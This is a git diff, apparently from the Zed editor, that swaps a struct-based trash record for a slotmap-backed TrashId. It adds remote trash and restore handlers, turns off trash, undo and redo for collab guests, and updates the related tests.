diff --git a/crates/fs/Cargo.toml b/crates/fs/Cargo.toml
index 37588bb0eeded4..ef0cb4bd8c20db 100644
--- a/crates/fs/Cargo.toml
+++ b/crates/fs/Cargo.toml
@@ -36,6 +36,7 @@ proto.workspace = true
 thiserror.workspace = true
 serde.workspace = true
 serde_json.workspace = true
+slotmap.workspace = true
 smol.workspace = true
 telemetry.workspace = true
 tempfile.workspace = true
diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index afbfaebaedf0ba..01a76c04699620 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -3,6 +3,7 @@ pub mod fs_watcher;
 pub use fs_watcher::requires_poll_watcher;
 
 use parking_lot::Mutex;
+use slotmap::{KeyData, SlotMap};
 use std::ffi::OsString;
 use std::sync::atomic::{AtomicU8, AtomicUsize, Ordering};
 use std::time::Instant;
@@ -119,7 +120,7 @@ pub trait Fs: Send + Sync {
     /// Moves a file or directory to the system trash.
     /// Returns a [`TrashedEntry`] that can be used to keep track of the
     /// location of the trashed item in the system's trash.
-    async fn trash(&self, path: &Path, options: RemoveOptions) -> Result<TrashedEntry>;
+    async fn trash(&self, path: &Path, options: RemoveOptions) -> Result<TrashId>;
 
     /// Removes a file from the filesystem.
     /// There is no expectation that the file will be preserved in the system
@@ -169,10 +170,7 @@ pub trait Fs: Send + Sync {
 
     /// Restores a given `TrashedEntry`, moving it from the system's trash back
     /// to the original path.
-    async fn restore(
-        &self,
-        trashed_entry: TrashedEntry,
-    ) -> std::result::Result<PathBuf, TrashRestoreError>;
+    async fn restore(&self, item: TrashId) -> std::result::Result<PathBuf, TrashRestoreError>;
 
     #[cfg(feature = "test-support")]
     fn as_fake(&self) -> Arc<FakeFs> {
@@ -186,7 +184,7 @@ pub trait Fs: Send + Sync {
 /// Represents a file or directory that has been moved to the system trash,
 /// retaining enough information to restore it to its original location.
 #[derive(Clone, PartialEq, Debug)]
-pub struct TrashedEntry {
+struct TrashedEntry {
     /// Platform-specific identifier for the file/directory in the trash.
     ///
     /// * Freedesktop – Path to the `.trashinfo` file.
@@ -228,6 +226,11 @@ pub enum TrashRestoreError {
     NotFound { path: PathBuf },
     #[error("File or directory ({}) already exists at the restore destination.", path.display())]
     Collision { path: PathBuf },
+    // This should never occur, the only way to get a TrashId is to undo
+    // consumes the Change::Trashed. We worry about remoting duplicate messages
+    // we do not want to crash the app then which is why this error is there.
+    #[error("The item was already restored")]
+    AlreadyRestored,
     #[error("Unknown error ({description})")]
     Unknown { description: String },
 }
@@ -396,11 +399,24 @@ impl From<MTime> for proto::Timestamp {
     }
 }
 
+slotmap::new_key_type! { pub struct TrashId; }
+
+impl TrashId {
+    pub fn from_proto(value: u64) -> Self {
+        KeyData::from_ffi(value).into()
+    }
+
+    pub fn to_proto(self) -> u64 {
+        self.0.as_ffi()
+    }
+}
+
 pub struct RealFs {
     bundled_git_binary_path: Option<PathBuf>,
     executor: BackgroundExecutor,
     next_job_id: Arc<AtomicUsize>,
     job_event_subscribers: Arc<Mutex<Vec<JobEventSender>>>,
+    trash: Arc<Mutex<SlotMap<TrashId, TrashedEntry>>>,
     is_case_sensitive: AtomicU8,
 }
 
@@ -509,6 +525,7 @@ impl RealFs {
             executor,
             next_job_id: Arc::new(AtomicUsize::new(0)),
             job_event_subscribers: Arc::new(Mutex::new(Vec::new())),
+            trash: Arc::new(Mutex::new(SlotMap::with_key())),
             is_case_sensitive: Default::default(),
         }
     }
@@ -799,7 +816,7 @@ impl Fs for RealFs {
         }
     }
 
-    async fn trash(&self, path: &Path, _options: RemoveOptions) -> Result<TrashedEntry> {
+    async fn trash(&self, path: &Path, _options: RemoveOptions) -> Result<TrashId> {
         // We must make the path absolute or trash will make a weird abomination
         // of the zed working directory (not usually the worktree) and whatever
         // the path variable holds.
@@ -808,10 +825,12 @@ impl Fs for RealFs {
         // its target and leave the link behind.
         let path = std::path::absolute(path).context("Could not make the path absolute")?;
 
-        Ok(smol::unblock(move || trash::delete_with_info(path))
+        let entry = smol::unblock(move || trash::delete_with_info(path))
             .await
             .context("Could not trash file or dir")?
-            .into())
+            .into();
+
+        Ok(self.trash.lock().insert(entry))
     }
 
     async fn open_sync(&self, path: &Path) -> Result<Box<dyn io::Read + Send + Sync>> {
@@ -1281,10 +1300,13 @@ impl Fs for RealFs {
         res
     }
 
-    async fn restore(
-        &self,
-        trashed_entry: TrashedEntry,
-    ) -> std::result::Result<PathBuf, TrashRestoreError> {
+    async fn restore(&self, item: TrashId) -> std::result::Result<PathBuf, TrashRestoreError> {
+        let trashed_entry = self
+            .trash
+            .lock()
+            .remove(item)
+            .ok_or(TrashRestoreError::AlreadyRestored)?;
+
         let restored_item_path = trashed_entry.original_parent.join(&trashed_entry.name);
 
         let (tx, rx) = futures::channel::oneshot::channel();
@@ -1333,7 +1355,7 @@ struct FakeFsState {
     path_write_counts: std::collections::HashMap<PathBuf, usize>,
     moves: std::collections::HashMap<u64, PathBuf>,
     job_event_subscribers: Arc<Mutex<Vec<JobEventSender>>>,
-    trash: Vec<(TrashedEntry, FakeFsEntry)>,
+    trash: Mutex<SlotMap<TrashId, (TrashedEntry, FakeFsEntry)>>,
     file_to_create_before_watch_add: Option<(PathBuf, PathBuf)>,
     remove_dir_errors: std::collections::HashMap<PathBuf, String>,
 }
@@ -1653,7 +1675,7 @@ impl FakeFs {
                 path_write_counts: Default::default(),
                 moves: Default::default(),
                 job_event_subscribers: Arc::new(Mutex::new(Vec::new())),
-                trash: Vec::new(),
+                trash: Mutex::new(SlotMap::with_key()),
                 file_to_create_before_watch_add: None,
                 remove_dir_errors: Default::default(),
             })),
@@ -2541,16 +2563,6 @@ impl FakeFs {
         self.executor.simulate_random_delay()
     }
 
-    /// Returns list of all tracked trash entries.
-    pub fn trash_entries(&self) -> Vec<TrashedEntry> {
-        self.state
-            .lock()
-            .trash
-            .iter()
-            .map(|(entry, _)| entry.clone())
-            .collect()
-    }
-
     async fn remove_dir_inner(
         &self,
         path: &Path,
@@ -2632,6 +2644,20 @@ impl FakeFs {
         state.emit_event([(path, Some(PathEventKind::Removed))]);
         Ok(removed)
     }
+
+    pub fn trashed_paths(&self) -> Vec<PathBuf> {
+        self.state
+            .lock()
+            .trash
+            .lock()
+            .values()
+            .map(|(trashed_entry, _fake_entry)| {
+                PathBuf::new()
+                    .join(trashed_entry.original_parent.clone())
+                    .join(trashed_entry.name.clone())
+            })
+            .collect::<Vec<PathBuf>>()
+    }
 }
 
 #[cfg(feature = "test-support")]
@@ -2948,7 +2974,7 @@ impl Fs for FakeFs {
         self.remove_dir_inner(path, options).await.map(|_| ())
     }
 
-    async fn trash(&self, path: &Path, options: RemoveOptions) -> Result<TrashedEntry> {
+    async fn trash(&self, path: &Path, options: RemoveOptions) -> Result<TrashId> {
         let normalized_path = normalize_path(path);
         let parent_path = normalized_path.parent().context("cannot remove the root")?;
         let base_name = normalized_path.file_name().unwrap();
@@ -2966,9 +2992,14 @@ impl Fs for FakeFs {
                     original_parent: parent_path.to_path_buf(),
                 };
 
-                let mut state = self.state.lock();
-                state.trash.push((trashed_entry.clone(), fake_entry));
-                Ok(trashed_entry)
+                let trash_id = self
+                    .state
+                    .lock()
+                    .trash
+                    .lock()
+                    .insert((trashed_entry, fake_entry));
+
+                Ok(trash_id)
             }
             None => anyhow::bail!("{normalized_path:?} does not exist"),
         }
@@ -3231,18 +3262,11 @@ impl Fs for FakeFs {
         receiver
     }
 
-    async fn restore(&self, trashed_entry: TrashedEntry) -> Result<PathBuf, TrashRestoreError> {
+    async fn restore(&self, trash_id: TrashId) -> Result<PathBuf, TrashRestoreError> {
         let mut state = self.state.lock();
 
-        let Some((trashed_entry, fake_entry)) = state
-            .trash
-            .iter()
-            .find(|(entry, _)| *entry == trashed_entry)
-            .cloned()
-        else {
-            return Err(TrashRestoreError::NotFound {
-                path: PathBuf::from(trashed_entry.id),
-            });
+        let Some((trashed_entry, fake_entry)) = state.trash.lock().remove(trash_id) else {
+            return Err(TrashRestoreError::AlreadyRestored);
         };
 
         let path = trashed_entry
@@ -3261,7 +3285,6 @@ impl Fs for FakeFs {
 
         match result {
             Ok(_) => {
-                state.trash.retain(|(entry, _)| *entry != trashed_entry);
                 state.emit_event([(path.clone(), Some(PathEventKind::Created))]);
                 Ok(path)
             }
diff --git a/crates/fs/tests/integration/fs_tests.rs b/crates/fs/tests/integration/fs_tests.rs
index 6f690be8967f7a..c644229a0da954 100644
--- a/crates/fs/tests/integration/fs_tests.rs
+++ b/crates/fs/tests/integration/fs_tests.rs
@@ -2,7 +2,6 @@ mod fake_git_repo_tests;
 
 use std::{
     collections::BTreeSet,
-    ffi::OsString,
     io::Write,
     path::{Path, PathBuf},
     pin::Pin,
@@ -648,15 +647,11 @@ async fn test_fake_fs_trash(executor: BackgroundExecutor) {
     .await;
 
     // Trashing a file.
-    let root_path = PathBuf::from(path!("/root"));
     let path = path!("/root/file_a.txt").as_ref();
-    let trashed_entry = fs
-        .trash(path, Default::default())
+    fs.trash(path, Default::default())
         .await
         .expect("should be able to trash {path:?}");
 
-    assert_eq!(trashed_entry.name, "file_a.txt");
-    assert_eq!(trashed_entry.original_parent, root_path);
     assert_eq!(
         fs.files(),
         vec![
@@ -666,32 +661,19 @@ async fn test_fake_fs_trash(executor: BackgroundExecutor) {
         ]
     );
 
-    let trash_entries = fs.trash_entries();
-    assert_eq!(trash_entries.len(), 1);
-    assert_eq!(trash_entries[0].name, "file_a.txt");
-    assert_eq!(trash_entries[0].original_parent, root_path);
-
     // Trashing a directory.
     let path = path!("/root/src").as_ref();
-    let trashed_entry = fs
-        .trash(
-            path,
-            RemoveOptions {
-                recursive: true,
-                ..Default::default()
-            },
-        )
-        .await
-        .expect("should be able to trash {path:?}");
+    fs.trash(
+        path,
+        RemoveOptions {
+            recursive: true,
+            ..Default::default()
+        },
+    )
+    .await
+    .expect("should be able to trash {path:?}");
 
-    assert_eq!(trashed_entry.name, "src");
-    assert_eq!(trashed_entry.original_parent, root_path);
     assert_eq!(fs.files(), vec![PathBuf::from(path!("/root/file_b.txt"))]);
-
-    let trash_entries = fs.trash_entries();
-    assert_eq!(trash_entries.len(), 2);
-    assert_eq!(trash_entries[1].name, "src");
-    assert_eq!(trash_entries[1].original_parent, root_path);
 }
 
 #[gpui::test]
@@ -709,36 +691,14 @@ async fn test_fake_fs_restore(executor: BackgroundExecutor) {
     )
     .await;
 
-    // Providing a non-existent `TrashedEntry` should result in an error.
-    let id = OsString::from("/trash/file_c.txt");
-    let name = OsString::from("file_c.txt");
-    let original_parent = PathBuf::from(path!("/root"));
-    let trashed_entry = TrashedEntry {
-        id,
-        name,
-        original_parent,
-    };
-    let result = fs.restore(trashed_entry).await;
-    assert!(matches!(result, Err(TrashRestoreError::NotFound { .. })));
-
     // Attempt deleting a file, asserting that the filesystem no longer reports
     // it as part of its list of files, restore it and verify that the list of
     // files and trash has been updated accordingly.
     let path = path!("/root/src/file_a.txt").as_ref();
     let trashed_entry = fs.trash(path, Default::default()).await.unwrap();
 
-    assert_eq!(fs.trash_entries().len(), 1);
-    assert_eq!(
-        fs.files(),
-        vec![
-            PathBuf::from(path!("/root/file_c.txt")),
-            PathBuf::from(path!("/root/src/file_b.txt"))
-        ]
-    );
-
     fs.restore(trashed_entry).await.unwrap();
 
-    assert_eq!(fs.trash_entries().len(), 0);
     assert_eq!(
         fs.files(),
         vec![
@@ -758,7 +718,6 @@ async fn test_fake_fs_restore(executor: BackgroundExecutor) {
     let path = path!("/root/src/").as_ref();
     let trashed_entry = fs.trash(path, options).await.unwrap();
 
-    assert_eq!(fs.trash_entries().len(), 1);
     assert_eq!(fs.files(), vec![PathBuf::from(path!("/root/file_c.txt"))]);
 
     fs.restore(trashed_entry).await.unwrap();
@@ -771,14 +730,12 @@ async fn test_fake_fs_restore(executor: BackgroundExecutor) {
             PathBuf::from(path!("/root/src/file_b.txt"))
         ]
     );
-    assert_eq!(fs.trash_entries().len(), 0);
 
     // A collision error should be returned in case a file is being restored to
     // a path where a file already exists.
     let path = path!("/root/src/file_a.txt").as_ref();
     let trashed_entry = fs.trash(path, Default::default()).await.unwrap();
 
-    assert_eq!(fs.trash_entries().len(), 1);
     assert_eq!(
         fs.files(),
         vec![
@@ -789,7 +746,6 @@ async fn test_fake_fs_restore(executor: BackgroundExecutor) {
 
     fs.write(path, "New File A".as_bytes()).await.unwrap();
 
-    assert_eq!(fs.trash_entries().len(), 1);
     assert_eq!(
         fs.files(),
         vec![
@@ -815,19 +771,16 @@ async fn test_fake_fs_restore(executor: BackgroundExecutor) {
     let path = path!("/root/src/").as_ref();
     let trashed_entry = fs.trash(path, options).await.unwrap();
 
-    assert_eq!(fs.trash_entries().len(), 2);
     assert_eq!(fs.files(), vec![PathBuf::from(path!("/root/file_c.txt"))]);
 
     fs.create_dir(path).await.unwrap();
 
     assert_eq!(fs.files(), vec![PathBuf::from(path!("/root/file_c.txt"))]);
-    assert_eq!(fs.trash_entries().len(), 2);
 
     let result = fs.restore(trashed_entry).await;
     assert!(result.is_err());
 
     assert_eq!(fs.files(), vec![PathBuf::from(path!("/root/file_c.txt"))]);
-    assert_eq!(fs.trash_entries().len(), 2);
 }
 
 /// Create a directory symlink (`link` -> `target`) in a cross-platform way.
diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index e1c7d0e830eebb..fd97769d037c34 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -2150,7 +2150,7 @@ impl GitPanel {
                     let task = workspace.update(cx, |workspace, cx| {
                         workspace
                             .project()
-                            .update(cx, |project, cx| project.delete_file(path, true, cx))
+                            .update(cx, |project, cx| project.trash_file(path, cx))
                     })?;
                     if let Some(task) = task {
                         task.await?;
@@ -2341,7 +2341,7 @@ impl GitPanel {
                             let project_path = active_repo
                                 .read(cx)
                                 .repo_path_to_project_path(&entry.repo_path, cx)?;
-                            project.delete_file(project_path, true, cx)
+                            project.trash_file(project_path, cx)
                         })
                     })
                     .collect::<Vec<_>>()
diff --git a/crates/project/src/project.rs b/crates/project/src/project.rs
index 3ceed0412f04b2..f7d792a7f2a217 100644
--- a/crates/project/src/project.rs
+++ b/crates/project/src/project.rs
@@ -2663,36 +2663,53 @@ impl Project {
         })
     }
 
+    #[inline]
+    pub fn trash_file(
+        &mut self,
+        path: ProjectPath,
+        cx: &mut Context<Self>,
+    ) -> Option<Task<Result<TrashId>>> {
+        let entry = self.entry_for_path(&path, cx)?;
+        self.trash_entry(entry.id, cx)
+    }
+
     #[inline]
     pub fn delete_file(
         &mut self,
         path: ProjectPath,
-        trash: bool,
         cx: &mut Context<Self>,
-    ) -> Option<Task<Result<Option<TrashedEntry>>>> {
+    ) -> Option<Task<Result<()>>> {
         let entry = self.entry_for_path(&path, cx)?;
-        self.delete_entry(entry.id, trash, cx)
+        self.delete_entry(entry.id, cx)
+    }
+
+    #[inline]
+    pub fn trash_entry(
+        &mut self,
+        entry_id: ProjectEntryId,
+        cx: &mut Context<Self>,
+    ) -> Option<Task<Result<TrashId>>> {
+        let worktree = self.worktree_for_entry(entry_id, cx)?;
+        cx.emit(Event::DeletedEntry(worktree.read(cx).id(), entry_id));
+        worktree.update(cx, |worktree, cx| worktree.trash_entry(entry_id, cx))
     }
 
     #[inline]
     pub fn delete_entry(
         &mut self,
         entry_id: ProjectEntryId,
-        trash: bool,
         cx: &mut Context<Self>,
-    ) -> Option<Task<Result<Option<TrashedEntry>>>> {
+    ) -> Option<Task<Result<()>>> {
         let worktree = self.worktree_for_entry(entry_id, cx)?;
         cx.emit(Event::DeletedEntry(worktree.read(cx).id(), entry_id));
-        worktree.update(cx, |worktree, cx| {
-            worktree.delete_entry(entry_id, trash, cx)
-        })
+        worktree.update(cx, |worktree, cx| worktree.delete_entry(entry_id, cx))
     }
 
     #[inline]
     pub fn restore_entry(
         &self,
         worktree_id: WorktreeId,
-        trash_entry: TrashedEntry,
+        trash_id: TrashId,
         cx: &mut Context<'_, Self>,
     ) -> Task<Result<ProjectPath>> {
         let Some(worktree) = self.worktree_for_id(worktree_id, cx) else {
@@ -2700,12 +2717,14 @@ impl Project {
         };
 
         cx.spawn(async move |_, cx| {
-            Worktree::restore_entry(trash_entry, worktree, cx)
-                .await
-                .map(|rel_path_buf| ProjectPath {
-                    worktree_id: worktree_id,
-                    path: Arc::from(rel_path_buf.as_rel_path()),
-                })
+            let entry = worktree
+                .update(cx, |worktree, cx| worktree.restore_entry(trash_id, cx))
+                .await?;
+
+            Ok(ProjectPath {
+                worktree_id: worktree_id,
+                path: entry.path,
+            })
         })
     }
 
diff --git a/crates/project/src/worktree_store.rs b/crates/project/src/worktree_store.rs
index 17ca9a61dd4f09..3fcadabd4baf80 100644
--- a/crates/project/src/worktree_store.rs
+++ b/crates/project/src/worktree_store.rs
@@ -216,6 +216,8 @@ impl WorktreeStore {
         client.add_entity_request_handler(Self::handle_create_project_entry);
         client.add_entity_request_handler(Self::handle_copy_project_entry);
         client.add_entity_request_handler(Self::handle_delete_project_entry);
+        client.add_entity_request_handler(Self::handle_trash_project_entry);
+        client.add_entity_request_handler(Self::handle_restore_project_entry);
         client.add_entity_request_handler(Self::handle_expand_project_entry);
         client.add_entity_request_handler(Self::handle_expand_all_for_project_entry);
     }
@@ -1260,6 +1262,28 @@ impl WorktreeStore {
         })
     }
 
+    pub async fn handle_trash_project_entry(
+        this: Entity<Self>,
+        envelope: TypedEnvelope<proto::TrashProjectEntry>,
+        mut cx: AsyncApp,
+    ) -> Result<proto::TrashProjectEntryResponse> {
+        let entry_id = ProjectEntryId::from_proto(envelope.payload.entry_id);
+        let worktree = this.update(&mut cx, |this, cx| {
+            let Some((_, project_id)) = this.downstream_client else {
+                bail!("no downstream client")
+            };
+            let Some(entry) = this.entry_for_id(entry_id, cx) else {
+                bail!("no entry")
+            };
+            if entry.is_private && project_id != REMOTE_SERVER_PROJECT_ID {
+                bail!("entry is private")
+            }
+            this.worktree_for_entry(entry_id, cx)
+                .context("worktree not found")
+        })?;
+        Worktree::handle_trash_entry(worktree, envelope.payload, cx).await
+    }
+
     pub async fn handle_delete_project_entry(
         this: Entity<Self>,
         envelope: TypedEnvelope<proto::DeleteProjectEntry>,
@@ -1282,6 +1306,21 @@ impl WorktreeStore {
         Worktree::handle_delete_entry(worktree, envelope.payload, cx).await
     }
 
+    pub async fn handle_restore_project_entry(
+        this: Entity<Self>,
+        envelope: TypedEnvelope<proto::RestoreProjectEntry>,
+        mut cx: AsyncApp,
+    ) -> Result<proto::RestoreProjectEntryResponse> {
+        let worktree_id = WorktreeId::from_proto(envelope.payload.worktree_id);
+
+        let worktree = this.update(&mut cx, |this, cx| {
+            this.worktree_for_id(worktree_id, cx)
+                .context("worktree not found")
+        })?;
+
+        Worktree::handle_restore_entry(worktree, envelope.payload, cx).await
+    }
+
     pub async fn handle_rename_project_entry(
         this: Entity<Self>,
         request: proto::RenameProjectEntry,
diff --git a/crates/project_panel/Cargo.toml b/crates/project_panel/Cargo.toml
index 89e97ee9c78902..00c66370533d77 100644
--- a/crates/project_panel/Cargo.toml
+++ b/crates/project_panel/Cargo.toml
@@ -19,7 +19,6 @@ doctest = false
 [dependencies]
 anyhow.workspace = true
 collections.workspace = true
-command_palette_hooks.workspace = true
 editor.workspace = true
 file_icons.workspace = true
 futures.workspace = true
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 0f9e1d98e2fc29..dc15dfbae8b56c 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -5,7 +5,6 @@ mod utils;
 use anyhow::{Context as _, Result};
 use client::{ErrorCode, ErrorExt};
 use collections::{BTreeSet, HashMap, hash_map};
-use command_palette_hooks::CommandPaletteFilter;
 use editor::{
     Editor, EditorEvent, MultiBufferOffset,
     items::{
@@ -15,6 +14,7 @@ use editor::{
 };
 use feature_flags::{FeatureFlagAppExt, ProjectPanelUndoRedoFeatureFlag};
 use file_icons::FileIcons;
+use fs::TrashId;
 use git;
 use git::status::GitSummary;
 use git_ui;
@@ -651,6 +651,17 @@ enum DeleteEntryOutcome {
     Failed,
 }
 
+/// Small wrapper around a pending task returned by either
+/// [`Project::trash_entry`] or [`Project::delete_entry`].
+///
+/// Since the two operations return different types, this enum lets
+/// [`ProjectPanel::remove`] collect and resolve both uniformly, while carrying
+/// the intention (trash vs delete).
+enum RemoveEntryTask {
+    Trash(Task<Result<TrashId>>),
+    Delete(Task<Result<()>>),
+}
+
 impl ProjectPanel {
     fn new(
         workspace: &mut Workspace,
@@ -754,18 +765,6 @@ impl ProjectPanel {
             )
             .detach();
 
-            let trash_action = [TypeId::of::<Trash>()];
-            let is_remote = project.read(cx).is_remote();
-
-            // Make sure the trash option is never displayed anywhere on remote
-            // hosts since they may not support trashing. May want to dynamically
-            // detect this in the future.
-            if is_remote {
-                CommandPaletteFilter::update_global(cx, |filter, _cx| {
-                    filter.hide_action_types(&trash_action);
-                });
-            }
-
             let filename_editor = cx.new(|cx| Editor::single_line(window, cx));
 
             cx.subscribe_in(
@@ -876,7 +875,12 @@ impl ProjectPanel {
                     unfolded_dir_ids: Default::default(),
                 },
                 update_visible_entries_task: Default::default(),
-                undo_manager: UndoManager::new(workspace.weak_handle(), weak_project_panel, &cx),
+                undo_manager: UndoManager::new(
+                    workspace.weak_handle(),
+                    weak_project_panel,
+                    project.read(cx).is_via_collab(),
+                    &cx,
+                ),
             };
             this.update_visible_entries(None, false, false, window, cx);
 
@@ -1159,18 +1163,16 @@ impl ProjectPanel {
                             .action("Copy", Box::new(Copy))
                             .action("Duplicate", Box::new(Duplicate))
                             .action_disabled_when(!has_pasteable_content, "Paste", Box::new(Paste))
-                            .when(cx.has_flag::<ProjectPanelUndoRedoFeatureFlag>(), |menu| {
-                                menu.action_disabled_when(
-                                    !self.undo_manager.can_undo(),
-                                    "Undo",
-                                    Box::new(Undo),
-                                )
-                                .action_disabled_when(
-                                    !self.undo_manager.can_redo(),
-                                    "Redo",
-                                    Box::new(Redo),
-                                )
-                            })
+                            .when(
+                                !is_collab && cx.has_flag::<ProjectPanelUndoRedoFeatureFlag>(),
+                                |menu| {
+                                    let can_undo = self.undo_manager.can_undo();
+                                    let can_redo = self.undo_manager.can_redo();
+
+                                    menu.action_disabled_when(!can_undo, "Undo", Box::new(Undo))
+                                        .action_disabled_when(!can_redo, "Redo", Box::new(Redo))
+                                },
+                            )
                             .when(is_remote, |menu| {
                                 menu.separator()
                                     .action("Download...", Box::new(DownloadFromRemote))
@@ -1201,7 +1203,7 @@ impl ProjectPanel {
                             .when(!should_hide_rename, |menu| {
                                 menu.separator().action("Rename", Box::new(Rename))
                             })
-                            .when(!is_root && !is_remote, |menu| {
+                            .when(!is_root && !is_collab, |menu| {
                                 menu.action("Trash", Box::new(Trash { skip_prompt: false }))
                             })
                             .when(!is_root, |menu| {
@@ -2074,9 +2076,8 @@ impl ProjectPanel {
     }
 
     async fn resolve_delete_entry(
-        task: Option<Task<Result<Option<fs::TrashedEntry>>>>,
+        task: Option<RemoveEntryTask>,
         worktree_id: WorktreeId,
-        trash: bool,
     ) -> DeleteEntryOutcome {
         let Some(task) = task else {
             // If there's no task to be awaited on, it means that the entry, or
@@ -2084,18 +2085,21 @@ impl ProjectPanel {
             return DeleteEntryOutcome::Deleted;
         };
 
-        match task.await {
-            Ok(Some(trashed_entry)) if trash => {
-                DeleteEntryOutcome::Trashed(Change::Trashed(worktree_id, trashed_entry))
-            }
-            Err(err) => {
-                log::error!(
-                    "Failed to {} an entry: {err:#}",
-                    if trash { "trash" } else { "delete" }
-                );
-                DeleteEntryOutcome::Failed
-            }
-            Ok(_) => DeleteEntryOutcome::Deleted,
+        match task {
+            RemoveEntryTask::Trash(task) => match task.await {
+                Ok(trash_id) => DeleteEntryOutcome::Trashed(Change::Trashed(worktree_id, trash_id)),
+                Err(err) => {
+                    log::error!("Failed to trash an entry: {err:#}",);
+                    DeleteEntryOutcome::Failed
+                }
+            },
+            RemoveEntryTask::Delete(task) => match task.await {
+                Ok(()) => DeleteEntryOutcome::Deleted,
+                Err(err) => {
+                    log::error!("Failed to delete an entry: {err:#}",);
+                    DeleteEntryOutcome::Failed
+                }
+            },
         }
     }
 
@@ -2546,6 +2550,11 @@ impl ProjectPanel {
         });
     }
 
+    // TODO(yara|dino): trashing and deleting are conceptually distinct, even
+    // more so with the fact that trashing can now be undone, whereas deleting
+    // cannot.
+    // Worth splitting them, and exploring dropping the trash confirmation now
+    // that trash is undoable.
     fn remove(
         &mut self,
         trash: bool,
@@ -2665,14 +2674,24 @@ impl ProjectPanel {
                         file_paths
                             .into_iter()
                             .map(|(entry_id, worktree_id, _)| {
-                                (worktree_id, project.delete_entry(entry_id, trash, cx))
+                                let task = if trash {
+                                    project
+                                        .trash_entry(entry_id, cx)
+                                        .map(RemoveEntryTask::Trash)
+                                } else {
+                                    project
+                                        .delete_entry(entry_id, cx)
+                                        .map(RemoveEntryTask::Delete)
+                                };
+
+                                (worktree_id, task)
                             })
                             .collect::<Vec<_>>()
                     })
                 })?;
 
                 for (worktree_id, task) in tasks {
-                    match Self::resolve_delete_entry(task, worktree_id, trash).await {
+                    match Self::resolve_delete_entry(task, worktree_id).await {
                         DeleteEntryOutcome::Deleted => {}
                         DeleteEntryOutcome::Trashed(change) => changes.push(change),
                         DeleteEntryOutcome::Failed => failed_count += 1,
@@ -6851,6 +6870,15 @@ impl Render for ProjectPanel {
             }
         };
 
+        // Trashing, undo, and redo rely on the `TrashProjectEntry` and
+        // `RestoreProjectEntry` messages, which older collab hosts can't
+        // decode, with the operation silently never completing. As such, we
+        // keep all three disabled for collab guests. Trashing is already
+        // disabled in collab today, so existing users will not lose any
+        // functionality and the plan is to eventually remove this check, once a
+        // considerable portion of collab hosts had the chance to upgrade to a
+        // version that understands these messages.
+        let is_collab = project.is_via_collab();
         let is_local = project.is_local();
 
         if has_worktree {
@@ -6983,10 +7011,13 @@ impl Render for ProjectPanel {
                 .on_action(cx.listener(Self::fold_directory))
                 .on_action(cx.listener(Self::remove_from_project))
                 .on_action(cx.listener(Self::compare_marked_files))
-                .when(cx.has_flag::<ProjectPanelUndoRedoFeatureFlag>(), |el| {
-                    el.on_action(cx.listener(Self::undo))
-                        .on_action(cx.listener(Self::redo))
-                })
+                .when(
+                    !is_collab && cx.has_flag::<ProjectPanelUndoRedoFeatureFlag>(),
+                    |el| {
+                        el.on_action(cx.listener(Self::undo))
+                            .on_action(cx.listener(Self::redo))
+                    },
+                )
                 .when(!project.is_read_only(cx), |el| {
                     el.on_action(cx.listener(Self::new_file))
                         .on_action(cx.listener(Self::new_directory))
@@ -6999,9 +7030,7 @@ impl Render for ProjectPanel {
                         .on_action(cx.listener(Self::restore_file))
                         .on_action(cx.listener(Self::add_to_gitignore))
                         .on_action(cx.listener(Self::add_to_git_info_exclude))
-                        .when(!project.is_remote(), |el| {
-                            el.on_action(cx.listener(Self::trash))
-                        })
+                        .when(!is_collab, |el| el.on_action(cx.listener(Self::trash)))
                 })
                 .when(
                     project.is_local() || project.is_via_wsl_with_host_interop(cx),
diff --git a/crates/project_panel/src/tests/undo.rs b/crates/project_panel/src/tests/undo.rs
index 1e69c7443ae2de..774a71b6d03cea 100644
--- a/crates/project_panel/src/tests/undo.rs
+++ b/crates/project_panel/src/tests/undo.rs
@@ -383,6 +383,37 @@ async fn trash_undo_redo(cx: &mut gpui::TestAppContext) {
     cx.assert_fs_state_is(&[]);
 }
 
+#[gpui::test]
+async fn trash_directory_undo_redo(cx: &mut gpui::TestAppContext) {
+    let mut cx = TestContext::new_with_tree(
+        cx,
+        json!({
+            "a.txt": "",
+            "dir": {
+                "b.txt": "File B's Content",
+            },
+        }),
+    )
+    .await;
+    cx.assert_fs_state_is(&["a.txt", "dir/", "dir/b.txt"]);
+
+    cx.trash(&["dir"]).await;
+    cx.assert_fs_state_is(&["a.txt"]);
+
+    cx.undo().await;
+    cx.assert_fs_state_is(&["a.txt", "dir/", "dir/b.txt"]);
+    assert_eq!(
+        cx.fs
+            .load(Path::new(&path("/workspace/dir/b.txt")))
+            .await
+            .unwrap(),
+        "File B's Content",
+    );
+
+    cx.redo().await;
+    cx.assert_fs_state_is(&["a.txt"]);
+}
+
 #[gpui::test]
 async fn trash_continues_when_one_entry_fails(cx: &mut gpui::TestAppContext) {
     let mut cx = TestContext::new_with_tree(
@@ -404,3 +435,26 @@ async fn trash_continues_when_one_entry_fails(cx: &mut gpui::TestAppContext) {
     cx.undo().await;
     cx.assert_fs_state_is(&["0_dir/", "a.txt", "b.txt"]);
 }
+
+#[gpui::test]
+async fn record_via_collab(cx: &mut gpui::TestAppContext) {
+    let mut cx = TestContext::new(cx).await;
+
+    // Manually update the `UndoManager::is_via_collab` field in order to
+    // simulate a Project Panel's Undo Manager in a collab scenario, acting as a
+    // client.
+    cx.panel.update(&mut cx.cx, |panel, _cx| {
+        panel.undo_manager.set_is_via_collab(true);
+    });
+
+    // Even though the rename operation should succeed, no operation should be
+    // recorded so calling undo or redo should not update the filesystem state.
+    cx.rename("a.txt", "renamed.txt").await;
+    cx.assert_fs_state_is(&["b.txt", "renamed.txt"]);
+
+    cx.undo().await;
+    cx.assert_fs_state_is(&["b.txt", "renamed.txt"]);
+
+    cx.redo().await;
+    cx.assert_fs_state_is(&["b.txt", "renamed.txt"]);
+}
diff --git a/crates/project_panel/src/undo.rs b/crates/project_panel/src/undo.rs
index ca4fc9ed375a9a..17b9b4b1bb80a7 100644
--- a/crates/project_panel/src/undo.rs
+++ b/crates/project_panel/src/undo.rs
@@ -10,9 +10,9 @@
 //!  Operations                            Results
